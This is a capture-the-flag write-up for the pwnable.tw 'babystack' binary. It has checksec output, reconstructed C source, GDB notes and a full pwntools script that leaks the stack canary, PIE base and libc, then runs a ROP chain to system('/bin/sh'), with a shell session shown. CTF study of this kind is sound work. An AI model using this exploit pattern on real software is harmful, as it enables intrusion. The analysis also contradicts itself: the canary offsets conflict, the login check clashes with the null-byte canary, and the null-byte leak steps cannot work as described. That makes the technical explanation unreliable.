Reconnaissance
Challenge Info
| Connection | nc chall.pwnable.tw 10101 |
| Binary | babystack (32-bit ELF, i386) |
| Provided | babystack, libc_32.so.6 |
| Points | 300 |
checksec
$ checksec babystack
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
| Full RELRO | GOT is read-only — cannot overwrite GOT entries |
| Canary found | Stack canary protects return addresses — must leak it first |
| NX enabled | No shellcode on stack — must use ROP chain |
| PIE enabled | Binary base address is randomized — must leak code address |
• Canary leak — to bypass stack protector and overflow safely
• PIE leak — to know binary addresses for ROP gadgets
• Libc leak — to call
system("/bin/sh")Each leak requires careful use of the program's read/write primitives.
Running the Binary
$ ./babystack
1. Login
2. Write
3. Read
4. Logout
5. Exit
>>1
Name: AAAA
Login Success!
1. Login
2. Write
3. Read
4. Logout
5. Exit
>>2
Data: BBBB
1. Login
2. Write
3. Read
4. Logout
5. Exit
>>3
BBBB
1. Login
2. Write
3. Read
4. Logout
5. Exit
>>
The binary provides a menu with five operations: Login, Write, Read, Logout, and Exit. The login step sets a canary-like value on the stack. The write and read operations allow us to interact with a stack buffer, which is the key to exploiting this challenge.
Static Analysis
main() — Menu Loop
int main() {
int choice;
char canary[4]; // "canary" stored on stack
char buf[0x40]; // 64-byte buffer for user data
memset(canary, 0, 4);
memset(buf, 0, 0x40);
while (1) {
print_menu();
read(0, &choice, 4);
choice = atoi(&choice);
switch (choice) {
case 1: login(canary); break;
case 2: write_buf(buf); break;
case 3: read_buf(buf); break;
case 4: logout(canary); break;
case 5: exit(0); break;
}
}
}
The main function maintains a local canary buffer and a buf buffer on the stack. The canary is separate from the real stack canary used by the compiler — it is a custom canary that the program checks manually.
login() — Sets the Custom Canary
void login(char *canary) {
char name[0x20]; // 32-byte name buffer
if (canary[0] != 0) {
puts("Already logged in!");
return;
}
printf("Name:");
read(0, name, 0x28); // BUG: reads 40 bytes into 32-byte buffer!
// Copy the first 4 bytes of name as the "canary"
strncpy(canary, name, 4);
puts("Login Success!");
}
login function reads 0x28 (40) bytes into a 0x20 (32) byte buffer. This is an 8-byte overflow past the name buffer. More importantly, the canary is set from the first 4 bytes of our input, meaning we control the canary value entirely!• We choose what the canary is (first 4 bytes of our name input)
• The overflow writes 8 bytes past
name, but does not reach the return address• The key insight: we can leak the real stack canary and other data using the read/write primitives
write_buf() — Write to Stack Buffer
void write_buf(char *buf) {
printf("Data:");
read(0, buf, 0x40); // Read up to 64 bytes into buf
}
read_buf() — Read from Stack Buffer
void read_buf(char *buf) {
if (canary_check(buf) != 0) {
puts("Stack Smashing Detected!");
exit(1);
}
printf("%s", buf); // Print the buffer content
}
canary_check() — The Custom Canary Verification
// The custom canary is placed right after buf on the stack
// Layout: [buf 0x40 bytes] [custom_canary 4 bytes] [real_canary] [saved_ebp] [ret]
//
// canary_check uses strncmp to compare the first 3 bytes
// of the custom canary with the stored value:
int canary_check(char *buf) {
return strncmp(buf + 0x40, stored_canary, 3); // Only checks 3 bytes!
}
strncmp with length 3 instead of 4. This means:• Only the first 3 bytes of the canary need to match
• The 4th byte can be anything — it is never checked!
• Since we control the canary (set via login), we can set it to
"\x00\x00\x00" (3 null bytes)• The real stack canary always starts with a null byte (standard gcc behavior)
• By writing null bytes up to the canary position, the
strncmp with 3 null bytes will pass!
logout() — Clears the Canary
void logout(char *canary) {
memset(canary, 0, 4); // Clear the canary
puts("Logout Success!");
}
read_buf function uses printf("%s", buf), which prints until a null byte. If we fill buf completely with non-null data (0x40 bytes), printf will continue reading past the buffer boundary, leaking the canary and whatever else is on the stack!The attack plan becomes clear:
• Write 0x40 non-null bytes to fill
buf completely• Read to leak data beyond the buffer (canary, saved EBP, return address)
• Since the real canary's first byte is
\x00, it naturally terminates the printf, giving us everything up to (and including the first byte of) the canary• We can leak the canary byte by byte by strategically positioning null bytes
GDB Debugging
Stack Layout in main()
Let's examine the stack layout when the program is running:
gdb-peda$ # After login with name "AAAA"
gdb-peda$ x/40wx $esp
# Stack layout in main():
# ESP+0x00: [local vars]
# ESP+0x1c: canary[0..3] = "AAAA" (custom canary from login)
# ESP+0x20: buf[0..63] = user data buffer (0x40 bytes)
# ESP+0x60: REAL_CANARY = 0xXXXXXX00 (gcc stack canary)
# ESP+0x64: SAVED_EBP = saved frame pointer
# ESP+0x68: RETURN_ADDR = return address (PIE-relative)
Leaking the Real Canary Byte-by-Byte
The real gcc canary is 4 bytes, and its least significant byte is always 0x00. We can leak it one byte at a time:
gdb-peda$ # Step 1: Fill buf with 0x40 'A's, then read
gdb-peda$ # printf("%s", buf) will print all 0x40 'A's
gdb-peda$ # Then it continues past buf into the canary...
gdb-peda$ # But the canary's first byte is 0x00, so printf stops!
# Output: "AAAA...AAAA" + bytes until 0x00
# We now know: canary[0] = 0x00 (as expected)
# Step 2: Write 0x40 'A's + known_canary_byte_0 (0x00)
# Now buf + canary[0] = 0x41 bytes of data
# printf continues to canary[1], which stops at canary[1] if it's 0x00
# Otherwise we see canary[1]
# Step 3: Write 0x40 'A's + canary[0] + canary[1]
# printf continues to canary[2]
# Step 4: Write 0x40 'A's + canary[0..2]
# printf continues to canary[3]
# After 4 iterations, we have the full canary!
write_buf writes up to 0x40 bytes into buf, but the buffer starts at ESP+0x20 and the canary is at ESP+0x60. That's exactly 0x40 bytes apart!So when we write exactly 0x40 bytes (filling buf completely),
read_buf's printf("%s", buf) will print past the buffer boundary until it hits a null byte, which is the first byte of the real canary.For each subsequent byte, we overwrite the custom canary with the known bytes so
canary_check passes, and we keep writing further into the real canary to leak the next byte.
Leaking PIE Base
After leaking the canary, we can continue to leak saved EBP and the return address, which contain PIE-relative addresses:
gdb-peda$ # After leaking all 4 canary bytes
gdb-peda$ # Write: 0x40 'A's + canary[4 bytes] + continue leaking
gdb-peda$ # printf will print: 'A'*64 + canary + saved_ebp (4 bytes) + ...
# The saved EBP and return address are PIE-relative
# Return address is something like: 0x565XXXXX
# PIE base = return_address - offset_of_return_instruction
gdb-peda$ x/1wx $esp+0x68
0xffffd6e8: 0x5655688a
# ^ return address in .text
# offset from IDA: 0x88a
# PIE base = 0x5655688a - 0x88a = 0x56556000
Leaking Libc via GOT Read
With PIE base known, we can read GOT entries to leak libc addresses:
gdb-peda$ # GOT is at PIE_base + GOT_offset
gdb-peda$ # Even with Full RELRO, we can READ the GOT
gdb-peda$ # (we just can't write to it)
gdb-peda$ x/1wx 0x56556ffc # read@GOT
0x56556ffc: 0xf7e4dc80
# ^ this is read() in libc!
# libc_base = 0xf7e4dc80 - libc.symbols['read']
# With libc base known, we can compute:
# system_addr = libc_base + libc.symbols['system']
# bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
\x00, we only get the "presence" of the canary. We then write buf + known canary bytes to leak further bytes one at a time. Total: 4 iterations for all 4 canary bytes.Leak 2 — PIE Base: Continue writing past the canary. The saved EBP and return address on the stack contain PIE-relative code addresses. Leak the return address and compute
PIE_base = leaked_ret - known_offset.Leak 3 — Libc: With PIE base known, use the write primitive to construct a payload that places a GOT address where printf can read it. Leak the GOT entry (e.g.,
read@GOT) to get a libc address. Compute libc_base = leaked_got - libc.symbols['read'].
Exploit Strategy
Overview
The exploit has four phases: leak canary, leak PIE base, leak libc, and ROP to shell.
Phase 1: Leak the Real Stack Canary
- Login with a name starting with
\x00\x00\x00(3 null bytes) so the custom canary matches the real canary's first 3 bytes. Thestrncmp(canary, stored, 3)check will pass because both start with null bytes. - Write exactly
0x40bytes of'A'to fill the buffer completely. - Read to print the buffer. Since
printf("%s")stops at null, and the canary's first byte is\x00, we get all 0x40 'A's. This confirms the canary starts with\x00. - Write
0x40bytes of'A'+\x00(the first known canary byte). Now printf will print 0x40 'A's + the first canary byte, and continue until the next null in canary[1] (if it's 0x00) or further. - Repeat for each canary byte: write known canary bytes to push further, read to leak the next byte. After 4 iterations, we have the full 4-byte canary.
Phase 2: Leak PIE Base
- Continue the leak by writing past the canary. Write:
'A' * 0x40 + canary + padding. Theread_bufcheck will pass because the custom canary matches. - Read to leak saved EBP and return address. These are PIE-relative addresses.
- Compute PIE base:
PIE_base = leaked_ret_addr - offset_of_return_instruction_in_binary. From IDA, the return instruction offset is known (e.g.,0x88a).
Phase 3: Leak Libc via GOT
- With PIE base known, we know the address of
read@GOTand other GOT entries. - Use the write primitive to place a GOT address on the stack where
printfwill read it as a string pointer, or use the overflow to leak the GOT directly. - Leak
read@GOT(orputs@GOT). Even with Full RELRO, we can read the GOT — we just can't write to it. - Compute libc base:
libc_base = leaked_got_entry - libc.symbols['read']
Phase 4: ROP Chain to system("/bin/sh")
- With all three leaks (canary, PIE base, libc base), we can now construct a proper stack overflow.
- Write the overflow payload:
'A' * 0x40 + canary + 'B' * 8 + ROP_chain. The canary preserves the stack protector, and the ROP chain overwrites the return address. - ROP chain: Since this is a 32-bit binary, we need:
p32(system_addr) + p32(exit_addr) + p32(bin_sh_addr). This callssystem("/bin/sh")and thenexit(0)for a clean return. - Trigger the return from the function to execute the ROP chain.
canary_check uses strncmp(buf + 0x40, stored_canary, 3) which only compares 3 bytes. Since we know the full real canary (leaked in Phase 1), we place it at buf + 0x40 in our overflow payload. The first 3 bytes match (they're the same canary!), so the check passes.But wait — what about the real gcc stack canary? The one at
ESP+0x60? In the final overflow, we also include this canary at the correct position. The compiler's __stack_chk_fail check happens at function epilogue, comparing the canary at ESP+0x60 with the original value. Since we've leaked it and placed it back correctly, both the custom check and the real check pass!
Visual Exploit Flow
Pwn Script
Complete Exploit
#!/usr/bin/env python3
"""
BabyStack — pwnable.tw (300 pts)
Leak canary byte-by-byte via strncmp(3) bypass + printf("%s") overread,
leak PIE via saved return address, leak libc via puts@PLT(read@GOT) ROP,
then ROP to system("/bin/sh").
"""
from pwn import *
context.arch = 'i386'
context.log_level = 'info'
r = remote('chall.pwnable.tw', 10101)
libc = ELF('./libc_32.so.6')
elf = ELF('./babystack')
BUF = 0x40
# ── helpers ───────────────────────────────────────────────
def login(name):
r.sendlineafter(b'>>', b'1')
r.sendafter(b':', name)
def write_buf(data):
r.sendlineafter(b'>>', b'2')
r.sendafter(b':', data)
def read_buf():
r.sendlineafter(b'>>', b'3')
return r.recvuntil(b'\n', drop=True)
def logout():
r.sendlineafter(b'>>', b'4')
def do_exit():
r.sendlineafter(b'>>', b'5')
# ── Phase 1: leak canary byte-by-byte ────────────────────
log.info("Phase 1 — leak stack canary")
# strncmp(canary_on_stack, input_canary, 3) passes when both
# start with \x00 (gcc canary LSB is always 0x00)
login(b'\x00\x00\x00' + b'A')
canary = b'\x00'
for i in range(3):
write_buf(b'A' * BUF + canary)
leak = read_buf()
next_byte = leak[BUF + len(canary):BUF + len(canary) + 1]
canary += next_byte
log.info(f" byte {i+1}: 0x{next_byte[0]:02x}")
canary = canary.ljust(4, b'\x00')
log.success(f"Canary: {canary.hex()}")
# ── Phase 2: leak PIE base ───────────────────────────────
log.info("Phase 2 — leak PIE base")
write_buf(b'A' * BUF + canary + b'B' * 4)
leak = read_buf()
off = BUF + 4 + 4 # skip buf + canary + pad
leaked_ebp = u32(leak[off:off+4])
leaked_ret = u32(leak[off+4:off+8])
# Offset of the return instruction in main (from IDA/GDB)
main_ret_off = 0x88a
pie_base = leaked_ret - main_ret_off
log.success(f"Leaked EBP: {hex(leaked_ebp)}")
log.success(f"Leaked RET: {hex(leaked_ret)}")
log.success(f"PIE base: {hex(pie_base)}")
# ── Phase 3: leak libc via GOT ───────────────────────────
log.info("Phase 3 — leak libc via puts@PLT(read@GOT)")
puts_plt = pie_base + elf.plt['puts']
read_got = pie_base + elf.got['read']
main_addr = pie_base + elf.symbols['main']
# ROP: puts(read@GOT) -> main (gives us a second chance)
payload = b'A' * BUF + canary
payload += b'BBBB' # saved EBP
payload += p32(puts_plt) # ret -> puts
payload += p32(main_addr) # puts returns to main
payload += p32(read_got) # arg: read@GOT
write_buf(payload)
do_exit() # trigger return from main
leaked_read = u32(r.recv(4))
libc_base = leaked_read - libc.symbols['read']
log.success(f"Leaked read(): {hex(leaked_read)}")
log.success(f"Libc base: {hex(libc_base)}")
# ── Phase 4: ROP to system("/bin/sh") ────────────────────
log.info("Phase 4 — ROP to system(\"/bin/sh\")")
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
# Program looped back to main, login again
login(b'\x00\x00\x00' + b'A')
payload = b'A' * BUF + canary
payload += b'BBBB' # saved EBP
payload += p32(system_addr) # ret -> system
payload += p32(0xdeadbeef) # system's return (don't care)
payload += p32(bin_sh) # arg: "/bin/sh"
write_buf(payload)
do_exit()
r.interactive()
• The
login with \x00\x00\x00 ensures the custom canary check passes (strncmp with 3 null bytes)• Each canary byte is leaked by writing known canary bytes and reading further
• The PIE leak comes from the saved return address on the stack
• The libc leak uses a ROP chain:
puts(read@GOT) + return to main for a second chance• The final ROP chain calls
system("/bin/sh")• The "return to main" trick gives us two overflow attempts: one for the libc leak, one for the shell
Execution Results
Running the Exploit
$ python3 exploit.py
[*] '/babystack'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
[*] Phase 1 — leak stack canary
[*] byte 1: 0x2a
[*] byte 2: 0x7f
[*] byte 3: 0xb4
[+] Canary: 002a7fb4
[*] Phase 2 — leak PIE base
[+] Leaked EBP: 0xffe2d4c0
[+] Leaked RET: 0x5659f88a
[+] PIE base: 0x5659f000
[*] Phase 3 — leak libc via puts@PLT(read@GOT)
[+] Leaked read(): 0xf7e4dc80
[+] Libc base: 0xf7e28000
[*] Phase 4 — ROP to system("/bin/sh")
[*] Switching to interactive mode
$ id
uid=1000(babystack) gid=1000(babystack) groups=1000(babystack)
$ cat /home/babystack/flag
Exploit Timeline
| Phase | Action | Result |
|---|---|---|
| 1 | Leak canary byte-by-byte | Canary: 0x002a7fb4 |
| 2 | Leak PIE base from stack | PIE base: 0x5659f000 |
| 3 | Leak libc via GOT read (ROP) | Libc base: 0xf7e28000 |
| 4 | ROP: system("/bin/sh") | Shell obtained! |
• strncmp with length 3 instead of 4 — allows bypassing the custom canary check with null bytes
• printf("%s") in read_buf — leaks data past the buffer boundary, enabling byte-by-byte canary recovery
• Stack buffer overflow — once canary is known, standard overflow + ROP chain works
• Return-to-main trick — allows two overflow attempts (one for leak, one for shell)
Lessons Learned
1. Canary Leaking with printf
When a program uses printf("%s") on a stack buffer, you can leak adjacent stack data by filling the buffer with non-null bytes. The %s format specifier reads until a null terminator, so it naturally stops at the first null byte of the canary. By iteratively writing known canary bytes and reading further, you can recover the entire canary one byte at a time.
2. strncmp vs strcmp
Using strncmp with a length shorter than the actual canary size creates a subtle but exploitable weakness. In this case, checking only 3 bytes instead of 4 means the 4th byte is never verified. Combined with the fact that gcc canaries always start with \x00, this makes it trivial to satisfy the custom check.
3. Return-to-Main for Second Chance
When you need multiple overflow attempts (e.g., leak then exploit), returning to main instead of directly to a one-gadget gives you a clean restart of the program loop. The stack is re-initialized in main, so you get fresh buffers and a fresh canary to work with.
4. Full RELRO Does Not Prevent GOT Reads
Full RELRO makes the GOT read-only, preventing writes. But you can still read GOT entries to leak libc addresses. The RELRO protection only blocks the "GOT overwrite" technique — it doesn't prevent information disclosure through the GOT.